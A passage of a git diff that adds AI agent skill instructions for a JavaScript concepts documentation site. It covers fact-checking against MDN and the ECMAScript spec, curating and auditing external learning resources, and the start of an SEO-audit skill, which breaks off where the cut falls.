+### Phase 3: ECMAScript Specification Compliance + +For nuanced JavaScript behavior, verify against the ECMAScript specification. + +#### When to Check the Spec + +- Edge cases and unusual behavior +- Claims about "how JavaScript works internally" +- Type coercion rules +- Operator precedence +- Execution order guarantees +- Claims using words like "always", "never", "guaranteed" + +#### How to Navigate the Spec + +The ECMAScript specification is at: https://tc39.es/ecma262/ + +| Concept | Spec Section | +|---------|--------------| +| Type coercion | Abstract Operations (7.1) | +| Equality | Abstract Equality Comparison (7.2.14), Strict Equality (7.2.15) | +| typeof | The typeof Operator (13.5.3) | +| Objects | Ordinary and Exotic Objects' Behaviours (10) | +| Functions | ECMAScript Function Objects (10.2) | +| this binding | ResolveThisBinding (9.4.4) | +| Promises | Promise Objects (27.2) | +| Iteration | Iteration (27.1) | + +#### Spec Verification Examples + +```javascript +// Claim: "typeof null returns 'object' due to a bug" +// Spec says: typeof null → "object" (Table 41) +// Historical context: This is a known quirk from JS 1.0 +// Verdict: ✓ Correct, though calling it a "bug" is slightly informal + +// Claim: "Promises always resolve asynchronously" +// Spec says: Promise reaction jobs are enqueued (27.2.1.3.2) +// Verdict: ✓ Correct - even resolved promises schedule microtasks + +// Claim: "=== is faster than ==" +// Spec says: Nothing about performance +// Verdict: ⚠️ Needs nuance - this is implementation-dependent +``` + +--- + +### Phase 4: External Resource Verification + +All external links (articles, videos, courses) must be verified. + +#### Step-by-Step Process + +1. **Check link accessibility:** + - Click each external link + - Verify it loads (not 404, not paywalled) + - Note any redirects to different URLs + +2. **Verify content accuracy:** + - Skim the resource for obvious errors + - Check it's JavaScript-focused (not C#, Python, Java) + - Verify it's not teaching anti-patterns + +3. **Check publication date:** + - For time-sensitive topics (async, modules, etc.), prefer recent content + - Flag resources from before 2015 for ES6+ topics + +4. **Verify description accuracy:** + - Does our description match what the resource actually covers? + - Is the description specific (not generic)? + +#### External Resource Checklist + +| Check | Pass Criteria | +|-------|---------------| +| Link works | Returns 200, content loads | +| Not paywalled | Free to access (or clearly marked) | +| JavaScript-focused | Not primarily about other languages | +| Not outdated | Post-2015 for modern JS topics | +| Accurate description | Our description matches actual content | +| No anti-patterns | Doesn't teach bad practices | +| Reputable source | From known/trusted creators | + +#### Red Flags in External Resources + +- Uses `var` everywhere for ES6+ topics +- Uses callbacks for content about Promises/async +- Teaches jQuery as modern DOM manipulation +- Contains factual errors about JavaScript +- Video is >2 hours without timestamp links +- Content is primarily about another language +- Uses deprecated APIs without noting deprecation + +--- + +### Phase 5: Technical Claims Audit + +Review all prose claims about JavaScript behavior. + +#### Claims That Need Verification + +| Claim Type | How to Verify | +|------------|---------------| +| Performance claims | Need benchmarks or caveats | +| Browser behavior | Specify which browsers, check MDN | +| Historical claims | Verify dates/versions | +| "Always" or "never" statements | Check for exceptions | +| Comparisons (X vs Y) | Verify both sides accurately | + +#### Red Flags in Technical Claims + +- "Always" or "never" without exceptions noted +- Performance claims without benchmarks +- Browser behavior claims without specifying browsers +- Comparisons that oversimplify differences +- Historical claims without dates +- Claims about "how JavaScript works" without spec reference + +#### Examples of Claims to Verify + +```markdown +❌ "async/await is always better than Promises" +→ Verify: Not always - Promise.all() is better for parallel operations + +❌ "JavaScript is an interpreted language" +→ Verify: Modern JS engines use JIT compilation + +❌ "Objects are passed by reference" +→ Verify: Technically "passed by sharing" - the reference is passed by value + +❌ "=== is faster than ==" +→ Verify: Implementation-dependent, not guaranteed by spec + +✓ "JavaScript is single-threaded" +→ Verify: Correct for the main thread (Web Workers are separate) + +✓ "Promises always resolve asynchronously" +→ Verify: Correct per ECMAScript spec +``` + +--- + +## Common JavaScript Misconceptions + +Watch for these misconceptions being stated as fact. + +### Type System Misconceptions + +| Misconception | Reality | How to Verify | +|---------------|---------|---------------| +| `typeof null === "object"` is intentional | It's a bug from JS 1.0 that can't be fixed for compatibility | Historical context, TC39 discussions | +| JavaScript has no types | JS is dynamically typed, not untyped | ECMAScript spec defines types | +| `==` is always wrong | `== null` checks both null and undefined, has valid uses | Many style guides allow this pattern | +| `NaN === NaN` is false "by mistake" | It's intentional per IEEE 754 floating point spec | IEEE 754 standard | + +### Function Misconceptions + +| Misconception | Reality | How to Verify | +|---------------|---------|---------------| +| Arrow functions are just shorter syntax | They have no `this`, `arguments`, `super`, or `new.target` | MDN, ECMAScript spec | +| `var` is hoisted to function scope with its value | Only declaration is hoisted, not initialization | Code test, MDN | +| Closures are a special opt-in feature | All functions in JS are closures | ECMAScript spec | +| IIFEs are obsolete | Still useful for one-time initialization | Modern codebases still use them | + +### Async Misconceptions + +| Misconception | Reality | How to Verify | +|---------------|---------|---------------| +| Promises run in parallel | JS is single-threaded; Promises are async, not parallel | Event loop explanation | +| `async/await` is different from Promises | It's syntactic sugar over Promises | MDN, can await any thenable | +| `setTimeout(fn, 0)` runs immediately | Runs after current execution + microtasks | Event loop, code test | +| `await` pauses the entire program | Only pauses the async function, not the event loop | Code test | + +### Object Misconceptions + +| Misconception | Reality | How to Verify | +|---------------|---------|---------------| +| Objects are "passed by reference" | References are passed by value ("pass by sharing") | Reassignment test | +| `const` makes objects immutable | `const` prevents reassignment, not mutation | Code test | +| Everything in JavaScript is an object | Primitives are not objects (though they have wrappers) | `typeof` tests, MDN | +| `Object.freeze()` creates deep immutability | It's shallow - nested objects can still be mutated | Code test | + +### Performance Misconceptions + +| Misconception | Reality | How to Verify | +|---------------|---------|---------------| +| `===` is always faster than `==` | Implementation-dependent, not spec-guaranteed | Benchmarks vary | +| `for` loops are faster than `forEach` | Modern engines optimize both; depends on use case | Benchmark | +| Arrow functions are faster | No performance difference, just different behavior | Benchmark | +| Avoiding DOM manipulation is always faster | Sometimes batch mutations are slower than individual | Depends on browser, use case | + +--- + +## Test Integration + +Running the project's test suite is a key part of fact-checking. + +### Test Commands + +```bash +# Run all tests +npm test + +# Run tests in watch mode +npm run test:watch + +# Run tests with coverage +npm run test:coverage + +# Run tests for specific concept +npm test -- tests/fundamentals/call-stack/ +npm test -- tests/fundamentals/primitive-types/ +npm test -- tests/fundamentals/value-reference-types/ +npm test -- tests/fundamentals/type-coercion/ +npm test -- tests/fundamentals/equality-operators/ +npm test -- tests/fundamentals/scope-and-closures/ +``` + +### Test Directory Structure + +``` +tests/ +├── fundamentals/ # Concepts 1-6 +│ ├── call-stack/ +│ ├── primitive-types/ +│ ├── value-reference-types/ +│ ├── type-coercion/ +│ ├── equality-operators/ +│ └── scope-and-closures/ +├── functions-execution/ # Concepts 7-8 +│ ├── event-loop/ +│ └── iife-modules/ +└── web-platform/ # Concepts 9-10 + ├── dom/ + └── http-fetch/ +``` + +### When Tests Are Missing + +If a concept doesn't have tests: +1. Flag this in the report as "needs test coverage" +2. Manually verify code examples are correct +3. Consider adding tests as a follow-up task + +--- + +## Verification Resources + +### Primary Sources + +| Resource | URL | Use For | +|----------|-----|---------| +| MDN Web Docs | https://developer.mozilla.org | API docs, guides, compatibility | +| ECMAScript Spec | https://tc39.es/ecma262 | Authoritative behavior | +| TC39 Proposals | https://github.com/tc39/proposals | New features, stages | +| Can I Use | https://caniuse.com | Browser compatibility | +| Node.js Docs | https://nodejs.org/docs | Node-specific APIs | +| V8 Blog | https://v8.dev/blog | Engine internals | + +### Project Resources + +| Resource | Path | Use For | +|----------|------|---------| +| Test Suite | `/tests/` | Verify code examples | +| Concept Pages | `/docs/concepts/` | Current content | +| Run Tests | `npm test` | Execute all tests | + +--- + +## Fact Check Report Template + +Use this template to document your findings. + +```markdown +# Fact Check Report: [Concept Name] + +**File:** `/docs/concepts/[slug].mdx` +**Date:** YYYY-MM-DD +**Reviewer:** [Name/Claude] +**Overall Status:** ✅ Verified | ⚠️ Minor Issues | ❌ Major Issues + +--- + +## Executive Summary + +[2-3 sentence summary of findings. State whether the page is accurate overall and highlight any critical issues.] + +**Tests Run:** Yes/No +**Test Results:** X passing, Y failing +**External Links Checked:** X/Y valid + +--- + +## Phase 1: Code Example Verification + +| # | Description | Line | Status | Notes | +|---|-------------|------|--------|-------| +| 1 | [Brief description] | XX | ✅/⚠️/❌ | [Notes] | +| 2 | [Brief description] | XX | ✅/⚠️/❌ | [Notes] | +| 3 | [Brief description] | XX | ✅/⚠️/❌ | [Notes] | + +### Code Issues Found + +#### Issue 1: [Title] + +**Location:** Line XX +**Severity:** Critical/Major/Minor +**Current Code:** +```javascript +// The problematic code +``` +**Problem:** [Explanation of what's wrong] +**Correct Code:** +```javascript +// The corrected code +``` + +--- + +## Phase 2: MDN/Specification Verification + +| Claim | Location | Source | Status | Notes | +|-------|----------|--------|--------|-------| +| [Claim made] | Line XX | MDN/Spec | ✅/⚠️/❌ | [Notes] | + +### MDN Link Status + +| Link Text | URL | Status | +|-----------|-----|--------| +| [Text] | [URL] | ✅ 200 / ❌ 404 | + +### Specification Discrepancies + +[If any claims don't match the ECMAScript spec, detail them here] + +--- + +## Phase 3: External Resource Verification + +| Resource | Type | Link | Content | Notes | +|----------|------|------|---------|-------| +| [Title] | Article/Video | ✅/❌ | ✅/⚠️/❌ | [Notes] | + +### Broken Links + +1. **Line XX:** [URL] - 404 Not Found +2. **Line YY:** [URL] - Domain expired + +### Content Concerns + +1. **[Resource name]:** [Concern - e.g., outdated, wrong language, anti-patterns] + +### Description Accuracy + +| Resource | Description Accurate? | Notes | +|----------|----------------------|-------| +| [Title] | ✅/❌ | [Notes] | + +--- + +## Phase 4: Technical Claims Audit + +| Claim | Location | Verdict | Notes | +|-------|----------|---------|-------| +| "[Claim]" | Line XX | ✅/⚠️/❌ | [Notes] | + +### Claims Needing Revision + +1. **Line XX:** "[Current claim]" + - **Issue:** [What's wrong] + - **Suggested:** "[Revised claim]" + +--- + +## Phase 5: Test Results + +**Test File:** `/tests/[category]/[concept]/[concept].test.js` +**Tests Run:** XX +**Passing:** XX +**Failing:** XX + +### Failing Tests + +| Test Name | Expected | Actual | Related Doc Line | +|-----------|----------|--------|------------------| +| [Test] | [Expected] | [Actual] | Line XX | + +### Coverage Gaps + +Examples in documentation without corresponding tests: +- [ ] Line XX: [Description of untested example] +- [ ] Line YY: [Description of untested example] + +--- + +## Issues Summary + +### Critical (Must Fix Before Publishing) + +1. **[Issue title]** + - Location: Line XX + - Problem: [Description] + - Fix: [How to fix] + +### Major (Should Fix) + +1. **[Issue title]** + - Location: Line XX + - Problem: [Description] + - Fix: [How to fix] + +### Minor (Nice to Have) + +1. **[Issue title]** + - Location: Line XX + - Suggestion: [Improvement] + +--- + +## Recommendations + +1. **[Priority 1]:** [Specific actionable recommendation] +2. **[Priority 2]:** [Specific actionable recommendation] +3. **[Priority 3]:** [Specific actionable recommendation] + +--- + +## Verification Checklist + +- [ ] All code examples verified for correct output +- [ ] All MDN links checked and valid +- [ ] API descriptions match MDN documentation +- [ ] ECMAScript compliance verified (if applicable) +- [ ] All external resource links accessible +- [ ] Resource descriptions accurately represent content +- [ ] No common JavaScript misconceptions found +- [ ] Technical claims are accurate and nuanced +- [ ] Project tests run and reviewed +- [ ] Report complete and ready for handoff + +--- + +## Sign-off + +**Verified by:** [Name/Claude] +**Date:** YYYY-MM-DD +**Recommendation:** ✅ Ready to publish | ⚠️ Fix issues first | ❌ Major revision needed +``` + +--- + +## Quick Reference: Verification Commands + +```bash +# Run all tests +npm test + +# Run specific concept tests +npm test -- tests/fundamentals/call-stack/ + +# Check for broken links (if you have a link checker) +# Install: npm install -g broken-link-checker +# Run: blc https://developer.mozilla.org/... -ro + +# Quick JavaScript REPL for testing +node +> typeof null +'object' +> [1,2,3].map(x => x * 2) +[ 2, 4, 6 ] +``` + +--- + +## Summary + +When fact-checking a concept page: + +1. **Run tests first** — `npm test` catches code errors automatically +2. **Verify every code example** — Output comments must match reality +3. **Check all MDN links** — Broken links and incorrect descriptions hurt credibility +4. **Verify external resources** — Must be accessible, accurate, and JavaScript-focused +5. **Audit technical claims** — Watch for misconceptions and unsupported statements +6. **Document everything** — Use the report template for consistent, thorough reviews + +**Remember:** Our readers trust us to teach them correct JavaScript. A single piece of misinformation can create confusion that takes years to unlearn. Take fact-checking seriously. diff --git a/.opencode/skill/resource-curator/SKILL.md b/.opencode/skill/resource-curator/SKILL.md new file mode 100644 index 00000000..55cc6f50 --- /dev/null +++ b/.opencode/skill/resource-curator/SKILL.md @@ -0,0 +1,620 @@ +--- +name: resource-curator +description: Find, evaluate, and maintain high-quality external resources for JavaScript concept documentation, including auditing for broken and outdated links +--- + +# Skill: Resource Curator for Concept Pages + +Use this skill to find, evaluate, add, and maintain high-quality external resources (articles, videos, courses) for concept documentation pages. This includes auditing existing resources for broken links and outdated content. + +## When to Use + +- Adding resources to a new concept page +- Refreshing resources on existing pages +- Auditing for broken or outdated links +- Reviewing community-contributed resources +- Periodic link maintenance + +## Resource Curation Methodology + +Follow these five phases for comprehensive resource curation. + +### Phase 1: Audit Existing Resources + +Before adding new resources, audit what's already there: + +1. **Check link accessibility** — Does each link return 200? +2. **Verify content accuracy** — Is the content still correct? +3. **Check publication dates** — Is it too old for the topic? +4. **Identify outdated content** — Does it use old syntax/patterns? +5. **Review descriptions** — Are they specific or generic? + +### Phase 2: Identify Resource Gaps + +Compare current resources against targets: + +| Section | Target Count | Icon | +|---------|--------------|------| +| Reference | 2-4 MDN links | `book` | +| Articles | 4-6 articles | `newspaper` | +| Videos | 3-4 videos | `video` | +| Courses | 1-3 (optional) | `graduation-cap` | +| Books | 1-2 (optional) | `book` | + +Ask: +- Are there enough resources for beginners AND advanced learners? +- Is there visual content (diagrams, animations)? +- Are official references (MDN) included? +- Is there diversity in teaching styles? + +### Phase 3: Find New Resources + +Search trusted sources using targeted queries: + +**For Articles:** +``` +[concept] javascript tutorial site:javascript.info +[concept] javascript explained site:freecodecamp.org +[concept] javascript site:dev.to +[concept] javascript deep dive site:2ality.com +[concept] javascript guide site:css-tricks.com +``` + +**For Videos:** +``` +YouTube: [concept] javascript explained +YouTube: [concept] javascript tutorial +YouTube: jsconf [concept] +YouTube: [concept] javascript fireship +YouTube: [concept] javascript web dev simplified +``` + +**For MDN:** +``` +[concept] site:developer.mozilla.org +[API name] MDN +``` + +### Phase 4: Write Descriptions + +Every resource needs a specific, valuable description: + +**Formula:** +``` +Sentence 1: What makes this resource unique OR what it specifically covers +Sentence 2: Why reader should click (what they'll gain, who it's best for) +``` + +### Phase 5: Format and Organize + +- Use correct Card syntax with proper icons +- Order resources logically (foundational first, advanced later) +- Ensure consistent formatting + +--- + +## Trusted Sources + +### Reference Sources (Priority Order) + +| Priority | Source | URL | Best For | +|----------|--------|-----|----------| +| 1 | MDN Web Docs | developer.mozilla.org | API docs, guides, compatibility | +| 2 | ECMAScript Spec | tc39.es/ecma262 | Authoritative behavior | +| 3 | Node.js Docs | nodejs.org/docs | Node-specific APIs | +| 4 | Web.dev | web.dev | Performance, best practices | +| 5 | Can I Use | caniuse.com | Browser compatibility | + +### Article Sources (Priority Order) + +| Priority | Source | Why Trusted | +|----------|--------|-------------| +| 1 | javascript.info | Comprehensive, exercises, well-maintained | +| 2 | MDN Guides | Official, accurate, regularly updated | +| 3 | freeCodeCamp | Beginner-friendly, practical | +| 4 | 2ality (Dr. Axel) | Deep technical dives, spec-focused | +| 5 | CSS-Tricks | DOM, visual topics, well-written | +| 6 | dev.to (Lydia Hallie) | Visual explanations, animations | +| 7 | LogRocket Blog | Practical tutorials, real-world | +| 8 | Smashing Magazine | In-depth, well-researched | +| 9 | Digital Ocean | Clear tutorials, examples | +| 10 | Kent C. Dodds | Testing, React, best practices | + +### Video Creators (Priority Order) + +| Priority | Creator | Style | Best For | +|----------|---------|-------|----------| +| 1 | Fireship | Fast, modern, entertaining | Quick overviews, modern JS | +| 2 | Web Dev Simplified | Clear, beginner-friendly | Beginners, fundamentals | +| 3 | Fun Fun Function | Deep-dives, personality | Understanding "why" | +| 4 | Traversy Media | Comprehensive crash courses | Full topic coverage | +| 5 | JSConf/dotJS | Expert conference talks | Advanced, in-depth | +| 6 | Academind | Thorough explanations | Complete understanding | +| 7 | The Coding Train | Creative, visual | Visual learners | +| 8 | Wes Bos | Practical, real-world | Applied learning | +| 9 | The Net Ninja | Step-by-step tutorials | Following along | +| 10 | Programming with Mosh | Professional, clear | Career-focused | + +### Course Sources + +| Source | Type | Notes | +|--------|------|-------| +| javascript.info | Free | Comprehensive, exercises | +| Piccalilli | Free | Well-written, modern | +| freeCodeCamp | Free | Project-based | +| Frontend Masters | Paid | Expert instructors | +| Egghead.io | Paid | Short, focused lessons | +| Udemy (top-rated) | Paid | Check reviews carefully | +| Codecademy | Freemium | Interactive | + +--- + +## Quality Criteria + +### Must Have (Required) + +- [ ] **Link works** — Returns 200 (not 404, 301, 5xx) +- [ ] **JavaScript-focused** — Not primarily about C#, Python, Java, etc. +- [ ] **Technically accurate** — No factual errors or anti-patterns +- [ ] **Accessible** — Free or has meaningful free preview + +### Should Have (Preferred) + +- [ ] **Recent enough** — See publication date guidelines below +- [ ] **Reputable source** — From trusted sources list or well-known creator +- [ ] **Unique perspective** — Not duplicate of existing resources +- [ ] **Appropriate depth** — Matches concept complexity +- [ ] **Good engagement** — Positive comments, high views (for videos) + +### Red Flags (Reject) + +| Red Flag | Why It Matters | +|----------|----------------| +| Uses `var` everywhere | Outdated for ES6+ topics | +| Teaches anti-patterns | Harmful to learners | +| Primarily other languages | Wrong focus | +| Hard paywall (no preview) | Inaccessible | +| Pre-2015 for modern topics | Likely outdated | +| Low quality comments | Often indicates issues | +| Factual errors | Spreads misinformation | +| Clickbait title, thin content | Wastes reader time | + +--- + +## Publication Date Guidelines + +| Topic Category | Minimum Year | Reasoning | +|----------------|--------------|-----------| +| **ES6+ Features** | 2015+ | ES6 released June 2015 | +| **Promises** | 2015+ | Native Promises in ES6 | +| **async/await** | 2017+ | ES2017 feature | +| **ES Modules** | 2018+ | Stable browser support | +| **Optional chaining (?.)** | 2020+ | ES2020 feature | +| **Nullish coalescing (??)** | 2020+ | ES2020 feature | +| **Top-level await** | 2022+ | ES2022 feature | +| **Fundamentals** (closures, scope, this) | Any | Core concepts don't change | +| **DOM manipulation** | 2018+ | Modern APIs preferred | +| **Fetch API** | 2017+ | Widespread support | + +**Rule of thumb:** For time-sensitive topics, prefer content from the last 3-5 years. For fundamentals, older classic content is often excellent. + +--- + +## Description Writing Guide + +### The Formula + +``` +Sentence 1: What makes this resource unique OR what it specifically covers +Sentence 2: Why reader should click (what they'll gain, who it's best for) +``` + +### Good Examples + +```markdown +<Card title="JavaScript Visualized: Promises & Async/Await — Lydia Hallie" icon="newspaper" href="https://dev.to/lydiahallie/javascript-visualized-promises-async-await-5gke"> + Animated GIFs showing the call stack, microtask queue, and event loop in action. + The visuals make Promise execution order finally click for visual learners. +</Card> + +<Card title="What the heck is the event loop anyway? — Philip Roberts" icon="video" href="https://www.youtube.com/watch?v=8aGhZQkoFbQ"> + The legendary JSConf talk that made the event loop click for millions of developers. + Philip Roberts' live visualizations are the gold standard — a must-watch. +</Card> + +<Card title="You Don't Know JS: Scope & Closures — Kyle Simpson" icon="book" href="https://github.com/getify/You-Dont-Know-JS/blob/2nd-ed/scope-closures/README.md"> + Kyle Simpson's deep dive into JavaScript's scope mechanics and closure behavior. + Goes beyond the basics into edge cases and mental models for truly understanding scope. +</Card> + +<Card title="JavaScript Promises in 10 Minutes — Web Dev Simplified" icon="video" href="https://www.youtube.com/watch?v=DHvZLI7Db8E"> + Quick, clear explanation covering Promise creation, chaining, and error handling. + Perfect starting point if you're new to async JavaScript. +</Card> + +<Card title="How to Escape Async/Await Hell — Aditya Agarwal" icon="newspaper" href="https://medium.com/free-code-camp/avoiding-the-async-await-hell-c77a0fb71c4c"> + The pizza-and-drinks ordering analogy makes parallel vs sequential execution crystal clear. + Essential reading once you know async/await basics but want to write faster code. +</Card> +``` + +### Bad Examples (Avoid) + +```markdown +<!-- TOO GENERIC --> +<Card title="Promises Tutorial" icon="newspaper" href="..."> + A comprehensive guide to Promises in JavaScript. +</Card> + +<!-- NO VALUE PROPOSITION --> +<Card title="Learn Closures" icon="video" href="..."> + This video explains closures in JavaScript. +</Card> + +<!-- VAGUE, NO SPECIFICS --> +<Card title="JavaScript Guide" icon="newspaper" href="..."> + Everything you need to know about JavaScript. +</Card> + +<!-- JUST RESTATING THE TITLE --> +<Card title="Understanding the Event Loop" icon="video" href="..."> + A video about understanding the event loop. +</Card> +``` + +### Words and Phrases to Avoid + +| Avoid | Why | Use Instead | +|-------|-----|-------------| +| "comprehensive guide to..." | Vague, overused | Specify what's covered | +| "learn all about..." | Generic | What specifically will they learn? | +| "everything you need to know..." | Hyperbolic | Be specific | +| "great tutorial on..." | Subjective filler | Why is it great? | +| "explains X" | Too basic | How does it explain? What's unique? | +| "in-depth look at..." | Vague | What depth? What aspect? | + +### Words and Phrases That Work + +| Good Phrase | Example | +|-------------|---------| +| "step-by-step walkthrough" | "Step-by-step walkthrough of building a Promise from scratch" | +| "visual explanation" | "Visual explanation with animated diagrams" | +| "deep dive into" | "Deep dive into V8's optimization strategies" | +| "practical examples of" | "Practical examples of closures in React hooks" | +| "the go-to reference for" | "The go-to reference for array method signatures" | +| "finally makes X click" | "Finally makes prototype chains click" | +| "perfect for beginners" | "Perfect for beginners new to async code" | +| "covers X, Y, and Z" | "Covers creation, chaining, and error handling" | + +--- + +## Link Audit Process + +### Step 1: Check Each Link + +For each resource in the concept page: + +1. **Click the link** — Does it load? +2. **Note the HTTP status:** + +| Status | Meaning | Action | +|--------|---------|--------| +| 200 | OK | Keep, continue to content check | +| 301/302 | Redirect | Update to final URL | +| 404 | Not Found | Remove or find replacement | +| 403 | Forbidden | Check manually, may be geo-blocked | +| 5xx | Server Error | Retry later, may be temporary | + +### Step 2: Content Verification + +For each accessible link: + +1. **Skim the content** — Is it still accurate? +2. **Check the date** — When was it published/updated? +3. **Verify JavaScript focus** — Is it primarily about JS? +4. **Look for red flags** — Anti-patterns, errors, outdated syntax + +### Step 3: Description Review + +For each resource: + +1. **Read current description** — Is it specific? +2. **Compare to actual content** — Does it match? +3. **Check for generic phrases** — "comprehensive guide", etc. +4. **Identify improvements** — How can it be more specific? + +### Step 4: Gap Analysis + +After auditing all resources: + +1. **Count by section** — Do we meet targets? +2. **Check diversity** — Beginner AND advanced? Visual AND text? +3. **Identify missing types** — No MDN? No videos? +4. **Note recommendations** — What should we add? + +--- + +## Resource Section Templates + +### Reference Section + +```markdown +## Reference + +<CardGroup cols={2}> + <Card title="[Main Topic] — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/..."> + Official MDN documentation covering [specific aspects]. + The authoritative reference for [what it's best for]. + </Card> + <Card title="[Related API/Concept] — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/..."> + [What this reference covers]. + Essential reading for understanding [specific aspect]. + </Card> +</CardGroup> +``` + +### Articles Section + +```markdown +## Articles + +<CardGroup cols={2}> + <Card title="[Article Title]" icon="newspaper" href="..."> + [What makes it unique/what it covers]. + [Why read this one/who it's for]. + </Card> + <Card title="[Article Title]" icon="newspaper" href="..."> + [Specific coverage]. + [Value proposition]. + </Card> + <Card title="[Article Title]" icon="newspaper" href="..."> + [Unique angle]. + [Why it's worth reading]. + </Card> + <Card title="[Article Title]" icon="newspaper" href="..."> + [What it covers]. + [Best for whom]. + </Card> +</CardGroup> +``` + +### Videos Section + +```markdown +## Videos + +<CardGroup cols={2}> + <Card title="[Video Title] — [Creator]" icon="video" href="https://www.youtube.com/watch?v=..."> + [What it covers/unique approach]. + [Why watch/who it's for]. + </Card> + <Card title="[Video Title] — [Creator]" icon="video" href="https://www.youtube.com/watch?v=..."> + [Specific focus]. + [What makes it stand out]. + </Card> + <Card title="[Video Title] — [Creator]" icon="video" href="https://www.youtube.com/watch?v=..."> + [Coverage]. + [Value]. + </Card> +</CardGroup> +``` + +### Books Section (Optional) + +```markdown +<Card title="[Book Title] — [Author]" icon="book" href="..."> + [What the book covers and its approach]. + [Who should read it and what they'll gain]. +</Card> +``` + +### Courses Section (Optional) + +```markdown +<CardGroup cols={2}> + <Card title="[Course Title] — [Platform]" icon="graduation-cap" href="..."> + [What the course covers]. + [Format and who it's best for]. + </Card> +</CardGroup> +``` + +--- + +## Resource Audit Report Template + +Use this template to document audit findings. + +```markdown +# Resource Audit Report: [Concept Name] + +**File:** `/docs/concepts/[slug].mdx` +**Date:** YYYY-MM-DD +**Auditor:** [Name/Claude] + +--- + +## Summary + +| Metric | Count | +|--------|-------| +| Total Resources | XX | +| Working Links (200) | XX | +| Broken Links (404) | XX | +| Redirects (301/302) | XX | +| Outdated Content | XX | +| Generic Descriptions | XX | + +## Resource Count vs Targets + +| Section | Current | Target | Status | +|---------|---------|--------|--------| +| Reference (MDN) | X | 2-4 | ✅/⚠️/❌ | +| Articles | X | 4-6 | ✅/⚠️/❌ | +| Videos | X | 3-4 | ✅/⚠️/❌ | +| Courses | X | 0-3 | ✅/⚠️/❌ | + +--- + +## Broken Links (Remove or Replace) + +| Resource | Line | URL | Status | Action | +|----------|------|-----|--------|--------| +| [Title] | XX | [URL] | 404 | Remove | +| [Title] | XX | [URL] | 404 | Replace with [alternative] | + +--- + +## Redirects (Update URLs) + +| Resource | Line | Old URL | New URL | +|----------|------|---------|---------| +| [Title] | XX | [old] | [new] | + +--- + +## Outdated Resources (Consider Replacing) + +| Resource | Line | Issue | Recommendation | +|----------|------|-------|----------------| +| [Title] | XX | Published 2014, uses var throughout | Replace with [modern alternative] | +| [Title] | XX | Pre-ES6, no mention of let/const | Find updated version or replace | + +--- + +## Description Improvements Needed + +| Resource | Line | Current | Suggested | +|----------|------|---------|-----------| +| [Title] | XX | "A guide to closures" | "[Specific description with value prop]" | +| [Title] | XX | "Learn about promises" | "[What makes it unique]. [Why read it]." | + +--- + +## Missing Resources (Recommendations) + +| Type | Gap | Suggested Resource | URL | +|------|-----|-------------------|-----| +| Reference | No main MDN link | [Topic] — MDN | [URL] | +| Article | No beginner guide | [Title] — javascript.info | [URL] | +| Video | No visual explanation | [Title] — [Creator] | [URL] | +| Article | No advanced deep-dive | [Title] — 2ality | [URL] | + +--- + +## Non-JavaScript Resources (Remove) + +| Resource | Line | Issue | +|----------|------|-------| +| [Title] | XX | Primarily about C#, not JavaScript | + +--- + +## Action Items + +### High Priority (Do First) +1. **Remove broken link:** [Title] (line XX) +2. **Add missing MDN reference:** [Topic] +3. **Replace outdated resource:** [Title] with [alternative] + +### Medium Priority +1. **Update redirect URL:** [Title] (line XX) +2. **Improve description:** [Title] (line XX) +3. **Add beginner-friendly article** + +### Low Priority +1. **Add additional video resource** +2. **Consider adding course section** + +--- + +## Verification Checklist + +After making changes: + +- [ ] All broken links removed or replaced +- [ ] All redirect URLs updated +- [ ] Outdated resources replaced +- [ ] Generic descriptions rewritten +- [ ] Missing resource types added +- [ ] Resource counts meet targets +- [ ] All new links verified working +- [ ] All descriptions are specific and valuable +``` + +--- + +## Quick Reference + +### Icon Reference + +| Content Type | Icon Value | +|--------------|------------| +| MDN/Official docs | `book` | +| Articles/Blog posts | `newspaper` | +| Videos | `video` | +| Courses | `graduation-cap` | +| Books | `book` | +| Related concepts | Context-appropriate | + +### Character Guidelines + +| Element | Guideline | +|---------|-----------| +| Card title | Keep concise, include creator for videos | +| Description sentence 1 | What it covers / what's unique | +| Description sentence 2 | Why read/watch / who it's for | + +### Resource Ordering + +Within each section, order resources: +1. **Most foundational/beginner-friendly first** +2. **Official references before community content** +3. **Most highly recommended prominently placed** +4. **Advanced/niche content last** + +--- + +## Quality Checklist + +### Link Verification +- [ ] All links return 200 (not 404, 301) +- [ ] No redirect chains +- [ ] No hard paywalls without notice +- [ ] All URLs are HTTPS where available + +### Content Quality +- [ ] All resources are JavaScript-focused +- [ ] No resources teaching anti-patterns +- [ ] Publication dates appropriate for topic +- [ ] Mix of beginner and advanced content +- [ ] Visual and text resources included + +### Description Quality +- [ ] All descriptions are specific (not generic) +- [ ] Descriptions explain unique value +- [ ] No "comprehensive guide to..." phrases +- [ ] Each description is 2 sentences +- [ ] Descriptions match actual content + +### Completeness +- [ ] 2-4 MDN/official references +- [ ] 4-6 quality articles +- [ ] 3-4 quality videos +- [ ] Resources ordered logically +- [ ] Diversity in teaching styles + +--- + +## Summary + +When curating resources for a concept page: + +1. **Audit first** — Check all existing links and content +2. **Identify gaps** — Compare against targets (2-4 refs, 4-6 articles, 3-4 videos) +3. **Find quality resources** — Search trusted sources +4. **Write specific descriptions** — What's unique + why read/watch +5. **Format correctly** — Proper Card syntax, icons, ordering +6. **Document changes** — Use the audit report template + +**Remember:** Resources should enhance learning, not pad the page. Every link should offer genuine value. Quality over quantity — a few excellent resources beat many mediocre ones. diff --git a/.opencode/skill/seo-review/SKILL.md b/.opencode/skill/seo-review/SKILL.md new file mode 100644 index 00000000..acc711ad --- /dev/null +++ b/.opencode/skill/seo-review/SKILL.md @@ -0,0 +1,951 @@ +--- +name: seo-review +description: Perform a focused SEO audit on JavaScript concept pages to maximize search visibility, featured snippet optimization, and ranking potential +--- + +# Skill: SEO Audit for Concept Pages + +Use this skill to perform a focused SEO audit on concept documentation pages for the 33 JavaScript Concepts project. The goal is to maximize search visibility for JavaScript developers. + +## When to Use + +- Before publishing a new concept page +- When optimizing underperforming pages +- Periodic content audits +- After major content updates +- When targeting new keywords + +## Goal + +Each concept page should rank for searches like: +- "what is [concept] in JavaScript" +- "how does [concept] work in JavaScript" +- "[concept] JavaScript explained" +- "[concept] JavaScript tutorial" +- "[concept] JavaScript example" + +--- + +## SEO Audit Methodology + +Follow these five steps for a complete SEO audit. + +### Step 1: Identify Target Keywords + +Before auditing, identify the keyword cluster for the concept. + +#### Keyword Cluster Template + +| Type | Pattern | Example (Closures) | +|------|---------|-------------------| +| **Primary** | [concept] JavaScript | closures JavaScript | +| **What is** | what is [concept] 